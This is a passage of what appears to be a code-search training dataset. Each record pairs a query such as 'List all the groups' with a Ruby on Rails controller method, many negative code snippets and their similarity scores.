"def list\n get('/')\n end",
"def index\n list\n render :action => 'list'\n # show\n # render :action => 'show'\n # render('list')\n end",
"def index\n redirect_to root_path\n end",
"def list\n redirect_to controller: :content_pages, action: :view if current_user.nil?\n redirect_to controller: :student_task, action: :list if current_user.try(:student?)\n end",
"def index\n redirect_to current_user\n end",
"def index\n redirect_to :root, notice: 'There\\'s nothing to see at the URL entered.'\n @hamper_items = HamperItem.all\n end",
"def index\n redirect_to root_path\n end",
"def index\n # No one should be here\n redirect_to root_url\n end",
"def index\n redirect_to toil_requests_path\n end",
"def index\n redirect_to toil_requests_path\n end",
"def index\n redirect_to home_path\n end",
"def index\n redirect_to home_path\n end",
"def index\n # Insert ruby code...\n redirect_to home_path if current_user\n end",
"def index\n redirect_to orders_path\n\n end",
"def index\n redirect_to(controller: \"portal\", action: \"experimentlist\")\n end",
"def index\n redirect_to :action => :show, :id => \"Home\"\n end",
"def index\n redirect_to :controller =>'/news', :action => 'list' if session[:user_id]\n end",
"def index\n redirect_to '/admin/posts'\n end",
"def index\n redirect_to @current_user if current_user\n end",
"def index\n redirect_to not_found_path\n end",
"def index\n redirect_to new_personal_path\n end",
"def index_redirect(**opt, &blk)\n opt[:dst] ||= :list_own\n super(**opt, &blk)\n end",
"def show\n redirect_to action: :index\n end",
"def index\n\t\trender :nothing => true\n\tend",
"def index\n render\n end",
"def home\n redirect_to action: :index\n end",
"def index\n redirect_to user_path(@user)\n end",
"def index\n return redirect_to shops_path\n end",
"def show\r\nredirect_to :action=>'index'\r\n end",
"def index\n redirect_to exams_path\n end",
"def index\n @actionlists = Actionlist.all\n end",
"def index\n # Handle bookmarked or otherwise incorrect GETs to the login action\n if request.method == :get\n redirect_to login_path\n else\n redirect_to member_home_path\n end\n end",
"def index\n redirect_to :nieuw if current_user\n end",
"def link_action_index(path = nil, url_options = {:returning => true})\n path ||= path_args(model_class)\n link_action ti(:\"link.list\"), 'list', path.is_a?(String) ? path : polymorphic_path(path, url_options)\n end",
"def link_action_index(path = nil, url_options = {:returning => true})\n path ||= path_args(model_class)\n link_action ti(:\"link.list\"), 'list', path.is_a?(String) ? path : polymorphic_path(path, url_options)\n end",
"def index\n \tredirect_to :controller => \"user\", :action => \"index\"\n end",
"def show\n redirect_to :action => 'index'\n end",
"def index\n redirect_to posts_path\n end",
"def show\n redirect_to action: \"index\"\n end",
"def show\n redirect_to action: \"index\"\n end",
"def show\n redirect_to action: \"index\"\n end",
"def show\n redirect_to action: \"index\"\n end",
"def show\n redirect_to action: \"index\"\n end",
"def show\n redirect_to action: \"index\"\n end"
] | [
"0.82438374",
"0.8202647",
"0.82007354",
"0.8084862",
"0.80248374",
"0.80006224",
"0.748509",
"0.746784",
"0.7298787",
"0.70332646",
"0.70148534",
"0.6994208",
"0.6994208",
"0.69843185",
"0.6960732",
"0.69471353",
"0.69450104",
"0.6940921",
"0.69229275",
"0.6884377",
"0.6880865",
"0.6878701",
"0.68763286",
"0.68658036",
"0.68588316",
"0.6840204",
"0.6810065",
"0.67972875",
"0.67930967",
"0.67930967",
"0.67930967",
"0.67930967",
"0.67930967",
"0.6792452",
"0.6773471",
"0.6773471",
"0.6773471",
"0.67566115",
"0.6745176",
"0.6743751",
"0.6742101",
"0.6742101",
"0.67361504",
"0.673291",
"0.673291",
"0.673291",
"0.67088586",
"0.6703696",
"0.6634165",
"0.6629299",
"0.6623709",
"0.66226137",
"0.6620308",
"0.6606758",
"0.6597754",
"0.6593502",
"0.658297",
"0.6558651",
"0.6557121",
"0.6557121",
"0.64980656",
"0.64980656",
"0.6475581",
"0.6467082",
"0.6466275",
"0.64598054",
"0.64551115",
"0.6448722",
"0.64440984",
"0.64431816",
"0.644277",
"0.6442379",
"0.643493",
"0.63956213",
"0.63907087",
"0.6377579",
"0.637065",
"0.6365398",
"0.6361569",
"0.6359486",
"0.63577306",
"0.6337228",
"0.63370234",
"0.6333882",
"0.6333882",
"0.6333558",
"0.63321507",
"0.632274",
"0.6322442",
"0.6322442",
"0.6322442",
"0.6322442",
"0.6322442",
"0.6322442"
] | 0.73579246 | 14 |
List all the groups. | def list
@groups = Group.find(:all, :order => 'name')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def list_groups\n BrickFTP::API::Group.all\n end",
"def list_groups\n BrickFTP::API::Group.all\n end",
"def hc_group_list_all(id)\n org=Org.find(id)\n org.hc_groups.all(:order=>'group_name')\n end",
"def groups\n find(:group).map { |g| g.content }\n end",
"def hc_group_list(id)\n org=Org.find(id)\n org.hc_groups.group_list\n end",
"def groups_list(params = {})\n response = @session.do_post \"#{SCOPE}.list\", params\n Slack.parse_response(response)\n end",
"def list_groups\n groups = CanvasSpaces.GroupCategory.groups.active.order(:name)\n # filter out non-public groups for non-admins\n groups = groups.where(join_level: 'parent_context_auto_join') unless @current_user.account.site_admin?\n groups_json = Api.paginate(groups, self, api_v1_canvas_spaces_groups_url).map do |g|\n include = @current_user.account.site_admin? || @current_user.id == g.leader_id ? ['users'] : []\n group_formatter(g, { include: include })\n end\n render :json => groups_json\n end",
"def index\n @groups = query(GROUP, :name)\n\n # restrict the groups to the groups of the current user\n # unless the current user is allowed to create groups\n # and need to see all\n unless allowed(:create)\n allowed_group_ids = current_user.groups.collect {|g| g.id }\n @groups.delete_if do |g|\n ! allowed_group_ids.member?(g.id)\n end\n end\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @groups }\n end\n end",
"def index\n @groups = Group.display_for_user(current_user)\n end",
"def group_all(options={})\n result = request(\n :method => :get,\n :path => '/groups',\n :expects => 200\n )\n result.fetch(:body, 'groups', []).map do |lb|\n Group.new(\n self,\n :id => lb[:id],\n :name => lb.get(:state, :name),\n :current_size => lb.get(:state, 'activeCapacity'),\n :desired_size => lb.get(:state, 'desiredCapacity')\n ).valid_state\n end\n end",
"def groups(params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Groups\", params: params)\n end",
"def send_group_list\n I3.server.send_object(I3.directory.find_all_groups)\n end",
"def show_groups\n content = Accio::Parser.read\n content.groups.each do |group|\n puts \"#{group.title}\\n\"\n end\n end",
"def groups\r\n @groups ||= fetch_groups\r\n end",
"def group_list\n execute('dscacheutil -q group') do |result|\n groups = []\n result.stdout.each_line do |line|\n groups << line.split(': ')[1].strip if /^name:/.match?(line)\n end\n\n yield result if block_given?\n\n groups\n end\n end",
"def index\n @list_groups = ListGroup.all\n end",
"def groups\n return [] if self.group_list.nil?\n self.group_list\n end",
"def index\n @groups = []\n for member in current_user.members\n @groups << member.group\n end\n end",
"def groups_list(trace: false, &block)\n r = dropbox_query(query: '2/team/groups/list', trace: trace)\n r['groups'].each(&block)\n while r['has_more']\n r = dropbox_query(query: '2/team/groups/list/continue', query_data: \"{\\\"cursor\\\":\\\"#{r['cursor']}\\\"}\", trace: trace)\n r['groups'].each(&block)\n end\n end",
"def list_groups\n {\n count: inventory.group_names.count,\n groups: inventory.group_names.sort,\n inventory: {\n default: config.default_inventoryfile.to_s,\n source: inventory.source\n }\n }\n end",
"def index\n @groups = @flr.groups.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def groups\n @@groups = Group.groups if @@groups.nil? or @@groups.empty?\n @@groups\n end",
"def list_groups(options = {})\n request({\n 'Action' => 'ListGroups',\n :parser => Fog::Parsers::AWS::IAM::ListGroups.new\n }.merge!(options))\n end",
"def groups()\n\t\t\tend",
"def groups\n find_groups if @groups.nil?\n @groups\n end",
"def groups\n @groups ||= Groups.call(self)\n end",
"def groups\n return [] if new_record?\n cached_groups do\n fetch_groups!\n end\n end",
"def groups\n return @groups\n end",
"def index\n\t\t@groups = current_user.groups\n\tend",
"def all_groups\n groups + [organization]\n end",
"def groups\n\t\t\t@groups ||= Group.find(:all, :distinguishedname => @entry.memberOf)\n\t\tend",
"def groups\n @groups = init_groups\n end",
"def get_groups(params)\n send_get \"get_groups\", params\n end",
"def hcAllGroups _args\n \"hcAllGroups _args;\" \n end",
"def get_groups\n `id -nG #{name}`.split(' ')\n end",
"def collect_group_details\n cmd = 'lsgroup -a ALL' # get all group names\n result ||= inspec.backend.run_command(cmd)\n return [] if result.exit_status.to_i != 0\n names = result.stdout.split(\"\\n\")\n groups_cache = []\n names.sort.uniq.each do |n|\n groups_cache << AixGroup(inspec, n)\n end\n groups_cache\n end",
"def groups(options = {})\n params = { :limit => 200 }.update(options)\n response = get(PATH['groups_full'], params)\n parse_groups response_body(response)\n end",
"def list(response)\n requested_group = response.args[1]\n output = get_groups_list(response.args[1])\n if output.empty?\n response.reply(empty_state_for_list(requested_group))\n else\n response.reply(output.join(\"\\n\"))\n end\n end",
"def groups\n\t\t\t@groups ||= begin\n\t\t\t\tFile.readlines(File.join(@svcdir, 'group')).map { |g| g.strip }\n\t\t\trescue Exception => e\n\t\t\t\t[]\n\t\t\tend\n\t\tend",
"def GetGroups params = {}\n\n params = params.merge(path: 'groups.json')\n APICall(params)\n\n end",
"def groups_to_show\n begin\n group_names = plugin_setting('groups_shown').to_s\n group_names.split(',').map {|group_name|\n Group.named(group_name)\n }.flatten \n rescue\n []\n end\n end",
"def ldap_group_list(refresh = false, separator = \"\\n\")\n @ldap_group_list = nil if refresh\n @ldap_group_list ||= ldap_groups(refresh).map{|v| v.name.upcase}.join(separator)\n end",
"def get_all_groups\n grps = []\n grps += self.groups\n grps.each { |g| grps += g.get_all_groups }\n return grps.compact.uniq\n end",
"def groups\n @groups ||= {}\n end",
"def groups\n Vedeu::Groups.registered\n end",
"def groups\n g = File.join(@root,'groups')\n FileUtils.mkdir_p g\n Dir.chdir(File.join(@root,'groups')) do\n Dir['*']\n end\n end",
"def discover_groups\n search_by_type_and_mode(:group, Hydra::ACL.Discover).map(&:agent_name)\n end",
"def groups\n Group.groups(user_name)\n end",
"def list_groups(client, options)\n if !options[:directory].nil?\n directory = client.directories.get options[:directory]\n groups = directory.groups\n else\n puts \"Missing arguments\"\n return\n end\n\n groups.each do |group|\n print_group(group)\n end\nend",
"def groups()\n grlist = []\n Etc.group { |g|\n grlist.push(g.name)\n }\n return grlist.uniq.sort\n end",
"def groups\n result = []\n each_element('group') { |group|\n result.push(group.text)\n }\n result\n end",
"def groups\n result = []\n each_element('group') { |group|\n result.push(group.text)\n }\n result\n end",
"def groups\n hyrax_groups.map(&:name)\n end",
"def groups\n @parent.groups(@filter)\n end",
"def index\n @garden_groups = GardenGroup.all\n end",
"def list_groups()\n response = HTTParty.get(\"https://graph.microsoft.com/v1.0/groups\", { \n headers: {\n \"Authorization\" => \"Bearer #{bearerToken}\",\n \"Host\" => 'graph.microsoft.com' \n }\n })\n return JSON.parse response.read_body\n end",
"def groups\n config.redis_connection.smembers \"#{config.prefix}:groups\"\n end",
"def get_device_group_list\n query_api('device-groups')\n end",
"def group_names\n groups.collect { |g| g.name }\n end",
"def groups\n groups = []\n relations = self.group_relations\n relations.each do |r|\n groups.push r.group\n end\n groups\n end",
"def list\n @review_groups = ReviewGroup.find(:all, :order => 'name')\n end",
"def get_groups()\n return self.groups\n end",
"def index\n @groups = Group.where(:user_id => current_user)\n end",
"def groups\n FfcrmMailchimp::Group.groups_for(id)\n end",
"def groups\n # self[:memberof].map { |dn| Group.select_dn(dn) }\n self[:memberof].map { |dn| self.class.group_klass.select_dn(dn) }\n end",
"def index\n @groups = current_trainer.groups\n end",
"def index\n @groups = @groups.order(:name)\n end",
"def index\n @groups = current_user.groups\n end",
"def groups\n UserGroups.new(:id => id).get.items\n end",
"def groups()\n\t\t\t\tgroups = GroupList.new()\n\n\t\t\t\t# get the list of users using niutil\n\t\t\t\ttextlist = `niutil -list . /groups`\n\t\t\t\ttextlist.each() { |line|\n\t\t\t\t\tline.strip!()\n\t\t\t\t\tgroup = GroupInfo.new()\n\t\t\t\t\tgroup.groupname = line[/^[0-9]+\\s+(\\S+)$/, 1]\n\t\t\t\t\tgrouplist = `niutil -read . /groups/#{group.groupname}`\n\t\t\t\t\tgrouplist.each() { |subline|\n\t\t\t\t\t\tsubline.strip!()\n\t\t\t\t\t\tcase(subline)\n\t\t\t\t\t\t\twhen(/^gid:/)\n\t\t\t\t\t\t\t\tgroup.gid = subline[/:\\s*(.*)$/, 1].to_i()\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\n\t\t\t\t\tgroups[group.groupname] = group\n\t\t\t\t}\n\n\t\t\t\treturn(groups)\n\t\t\tend",
"def index\n\t\t# si rol mayor a desarrollador, listar todos los grupos \n \tif has_role_with_hierarchy?(:administrador) \n\t\t\t@groups = Group.all\n\t\t# si rol es desarrollador, listar solo sus grupos\n\t\telse\n\t\t\t@groups = Group.all :conditions => { :user_id, current_user.id }\n\t\tend\n end",
"def getGroups\n groups = $gm.get(\"/groups\", @token, \"per_page=100\")\n group_ids = Array.new\n\n groups['response'].each do |group|\n group_ids.push({\n 'name' => group['name'],\n 'group_id' => group['id'],\n 'image' => group['image_url']})\n end\n\n return group_ids\n end",
"def groups\n unless @groups\n @groups = convert_to_objects(cn_groups)\n end\n @groups\n end",
"def ooc_group_list_all(id,group_type=nil)\n org = Org.find(id)\n group_type_cond = group_type.nil? ? nil:\"AND ooc_group_type='#{group_type}'\"\n org.ooc_groups.all(:conditions=>\"ooc_group_status!='deleted' #{group_type_cond}\",:order=>'ooc_group_type,ooc_group_name')\n end",
"def index\n @groups = SuperSimpleCms::Group.find(:all, :order=>:position)\n\n respond_to do |format|\n format.html { render :template => 'admin/groups/index' }\n format.xml { render :xml => @groups }\n end\n end",
"def index\n @user = User.find(current_user.id)\n @groups = @user.groups.all\n end",
"def get_all_groups\n grps = self.get_groups_recursively\n grps << self.home_group\n logged_in_group = Group.new(:name => \"logged in user\")\n logged_in_group.id = 0\n grps << logged_in_group\n anonymous_group = Group.new(:name => \"anonymous user\")\n anonymous_group.id = -1\n grps << anonymous_group\n return grps.compact.uniq\n end",
"def groups\n return [] if memberOf.nil?\n @groups ||= Group.find(:all, distinguishedname: @entry.memberOf).delete_if(&:nil?)\n end",
"def groups; end",
"def groups; end",
"def groups; end",
"def index\n @groups = Group.all\n render_json_serializer(@groups)\n end",
"def groups()\n\t\t\t\tuserlist = users()\n\n\t\t\t\tgrouplist = GroupList.new()\n\t\t\t\tFile.open('/etc/group', File::RDONLY) { |fp|\n\t\t\t\t\tregex = /^([a-zA-Z0-9-]+):[^:]+:([0-9]+):([^:]*)/\n\t\t\t\t\tfp.each_line() { |line|\n\t\t\t\t\t\tmatch = regex.match(line)\n\t\t\t\t\t\tif(match != nil)\n\t\t\t\t\t\t\tgroup = GroupInfo.new()\n\t\t\t\t\t\t\tgroup.groupname = match[1]\n\t\t\t\t\t\t\tgroup.gid = match[2].to_i()\n\t\t\t\t\t\t\tgroup.members = UserList.new()\n\t\t\t\t\t\t\tif(match[3] != nil)\n\t\t\t\t\t\t\t\tusers = match[3].split(/,/)\n\t\t\t\t\t\t\t\tusers.each() { |username|\n\t\t\t\t\t\t\t\t\tif(userlist.has_key?(username))\n\t\t\t\t\t\t\t\t\t\tgroup.members[username] = userlist[username]\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tgrouplist[group.groupname] = group\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn(grouplist)\n\t\t\tend",
"def list_groups\n if @user.permission_level.value == PermissionLevel.order(\"value DESC\").first.value\n render :json => Group.find(:all).map{|g| g}\n else\n render :json => @user.groups.map{|g| g}\n end\n end",
"def index\n authorize! :see, Group\n @groups = Group.all\n end",
"def read_groups\n search_by_type_and_mode(:group, ::ACL.Read).map(&:agent_name)\n end",
"def list(response)\n requested_group = response.args[1]\n output = get_groups_list(requested_group)\n if output.empty?\n if requested_group\n response.reply(\n \"There is no authorization group named #{requested_group}.\"\n )\n else\n response.reply(\"There are no authorization groups yet.\")\n end\n else\n response.reply(output.join(\"\\n\"))\n end\n end",
"def index\n\t\t@user = User.find(session[:id])\n\t\t@groups = Group.all\n\tend"
] | [
"0.80761874",
"0.80761874",
"0.7736165",
"0.75816",
"0.75493896",
"0.74877626",
"0.74477017",
"0.7395149",
"0.7394693",
"0.7374675",
"0.7362523",
"0.73018074",
"0.72810775",
"0.726793",
"0.72521836",
"0.72483486",
"0.7229844",
"0.72212493",
"0.72163373",
"0.7161532",
"0.7132768",
"0.7113493",
"0.7113493",
"0.7113493",
"0.7113493",
"0.7113493",
"0.7113493",
"0.7113493",
"0.7113493",
"0.7113493",
"0.7113493",
"0.7113493",
"0.7113493",
"0.70941585",
"0.70761114",
"0.70568377",
"0.70437443",
"0.70429593",
"0.70398617",
"0.70250946",
"0.6986054",
"0.6974027",
"0.6968305",
"0.6967822",
"0.6964814",
"0.6950289",
"0.69431245",
"0.694165",
"0.6928107",
"0.69238985",
"0.6909162",
"0.6906535",
"0.6903262",
"0.68953174",
"0.68922466",
"0.6884632",
"0.68822986",
"0.6881953",
"0.687753",
"0.68699265",
"0.6862842",
"0.68474334",
"0.6843178",
"0.6843178",
"0.68417853",
"0.6834725",
"0.6832696",
"0.68280625",
"0.6811072",
"0.6810661",
"0.6801508",
"0.67983675",
"0.67853546",
"0.67839336",
"0.6780199",
"0.677814",
"0.677544",
"0.6768528",
"0.67602944",
"0.6750712",
"0.6749798",
"0.6740652",
"0.6725364",
"0.67201126",
"0.6719568",
"0.6707164",
"0.67061794",
"0.6706157",
"0.66995174",
"0.66825503",
"0.66755134",
"0.66755134",
"0.66755134",
"0.6649785",
"0.66422844",
"0.6612563",
"0.66088337",
"0.65973085",
"0.6586444",
"0.65755683"
] | 0.82609266 | 0 |
Show a form to enter data for a new group. | def new
@group = Group.new
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n save_navi_state(['groups_title', 'new_group'])\n @group = Group.new\n end",
"def _create_form\n\t\t\tgroup = params[:id].present? ? SystemGroup.find(params[:id]) : SystemGroup.new\n\n\t\t\trender json: {\n\t\t\t\tstatus: 0,\n\t\t\t\tresult: render_to_string(partial: 'create_form', locals: { group: group })\n\t\t\t}\n\t\tend",
"def new\n @title = \"Добавление группы характеристик\"\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = current_user.groups.build\n\n respond_to :html\n end",
"def new\n\t\t@group = Group.new\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @group }\n\t\t\tformat.json { render :json => @group }\n\t\tend\n\tend",
"def new\n\t\t@group = Group.new\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @group }\n\t\t\tformat.json { render :json => @group }\n\t\tend\n\tend",
"def new\n @group = GROUP.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def create\n @group = Group.new(new_group_params)\n if @group.save\n redirect_to groups_url\n else\n render :template => \"groups/new\"\n end\n end",
"def new\n authorize UserGroup\n if params.dig(:user_group, :institution_id).blank?\n render plain: \"Missing institution ID\", status: :bad_request\n return\n end\n render partial: \"user_groups/form\",\n locals: { user_group: UserGroup.new(user_group_params) }\n end",
"def new\n @group = SuperSimpleCms::Group.new\n\n respond_to do |format|\n format.html {render :template=>'admin/groups/new'}\n format.js {render :template=>'admin/groups/new', :layout=>false}\n format.xml { render :xml => @group }\n end\n end",
"def new #:nodoc:\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.haml\n # format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n Group.rebuild! if nil.|Group.find(:first).rgt\n\t @group = Group.new\n\t @groups = current_user.get_unique_group_branches.map {|g| g.get_self_and_children?}.flatten\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @group }\n end\n end",
"def new\n @group = Group.new\n @title = 'Create Group'\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n add_breadcrumb \"Social\", social_path()\n add_breadcrumb \"Create group\"\n \n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.haml\n format.js # new.js.rjs\n format.xml { render :xml => @group }\n format.json { render :json => @group }\n end\n end",
"def new\n @group = Group.new\n \n respond_to do |format|\n format.html\n format.xml { render :xml => @group.to_xml }\n end\n end",
"def new\n @group = Group.new\n \n respond_to do |format|\n format.html\n format.xml { render :xml => @group.to_xml }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n format.xml { render xml: @group }\n end\n end",
"def new\n @group_member = GroupMember.new\n @group_member.group_id = params[:group_id]\n render :layout => false\n end",
"def new\n @contact_group = ContactGroup.new\n end",
"def new\n\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n format.json { render :json => @group }\n end\n end",
"def show\n @groups = @form.groups\n end",
"def new\n @group = Group.new \n end",
"def new\n @add_group_to_user = AddGroupToUser.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @add_group_to_user }\n end\n end",
"def new\n @groupon = Groupon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @groupon }\n end\n end",
"def new\n @group = Group.new\n respond_to do |format|\n #format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @groupaddrobj = Groupaddrobj.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @groupaddrobj }\n end\n end",
"def create\n @group = @form.group.descendants.where.not(type: Form::CollectionGroup).find(params[:id])\n @model = build_form_model(@group)\n model_params = params.fetch(:form, {}).permit!\n @instance = @model.new model_params\n if @instance.valid?\n render :create\n else\n render :show\n end\n end",
"def new\n @group = Group.new\n render json: @group\n end",
"def new\n\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n render json: @group\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n \n @group = Group.find(params[:group_id])\n @title=\"Подать заявку на обучение в группе: \"[email protected] \n @person = Person.new(:group=>@group)\n #@groups=Group.all(:conditions=>['open=?',true])\n # render :layout => 'admin'\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @add_to_group = AddToGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @add_to_group }\n end\n end",
"def new\n @group = current_user.groups.new\n end",
"def new\n @grouping.company_id = current_user.company_id\n @users = []\n @root = false\n @title = 'HR'\n\n respond_with(@grouping)\n end",
"def new\n @group = Group.new\n @membership = Membership.new\n @group_permission = GroupPermission.new\n @metro_areas = MetroArea.find(:all)\n @states = State.find(:all)\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group_record = GroupRecord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group_record }\n end\n end",
"def create\n @group = @flr.groups.new(group_params)\n if @group.save\n redirect_to @group, notice: 'Group was successfully created.'\n else\n render :new\n end\n end",
"def new\n @title = \"Добавление возрастной группы\"\n @age_group = AgeGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @age_group }\n end\n end",
"def new\n @title = t('view.customers_groups.new_title')\n @customers_group = CustomersGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customers_group }\n end\n end",
"def new\n @title = t('view.customers_groups.new_title')\n @customers_group = CustomersGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customers_group }\n end\n end",
"def reviewer_create_group\n\t\t@group = Group.new(params[:group])\n\t\[email protected]_id = nil\n\t\[email protected]\n\t\trespond_to do |form|\n\t\t\tform.js {render \"reviewer_new_group\"}\n\t\tend\n\tend",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to(view_group_path(@group.label), :notice => 'Group was successfully created.') }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n unless @group.save\n render :new and return\n end\n msg = [\"Created group.\", rebuild_configs].join(\" \")\n redirect_to groups_url, notice: msg\n end",
"def new\n \t@group = Group.new\n end",
"def new\n @pgroup = Pgroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pgroup }\n end\n end",
"def new\n @pgroup = Pgroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pgroup }\n end\n end",
"def create #:nodoc:\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = I18n.t(\"{{value}} was successfully created.\", :default => \"{{value}} was successfully created.\", :value => I18n.t(\"Group\", :default => \"Group\"))\n if params[:create_and_new_button]\n format.html { redirect_to new_group_url }\n else\n format.html { redirect_to groups_url }\n # format.xml { render :xml => @group, :status => :created, :location => @group }\n end\n else\n format.html { render :action => \"new\" }\n # format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @group = current_user.created_groups.new\n end",
"def new\n @group.parent_id = params[:group_id]\n \n add_breadcrumb 'Your hubs', :hubs_path\n add_breadcrumb @hub.name, hub_path(@hub)\n unless params[:group_id]\n add_breadcrumb 'New group', new_hub_group_path(@hub)\n else\n add_breadcrumb 'New sub group', hub_group_subgroup_path(@hub, @group.parent)\n end\n \n append_title 'New group'\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @group }\n end\n end",
"def new\n @esol_group = EsolGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @esol_group }\n end\n end",
"def new\n @group_request = GroupRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @group_request }\n end\n end",
"def new\n @fgroup = Fgroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fgroup }\n end\n end",
"def new\n @groups = Group.all\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @person }\n format.json { render :json => @person }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n #format.html # new.html.erb\n #format.xml { render :xml => @group }\n format.js { render :action => 'new' }\n end\n end",
"def new\n # @event is already loaded and authorized\n # @event = Event.new\n\n @groups = Group.all\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n if @group.save\n redirect_to(list_groups_path(:page => params[:page]), :notice => t(\"group.created\"))\n else\n render :action => :new\n end\n end",
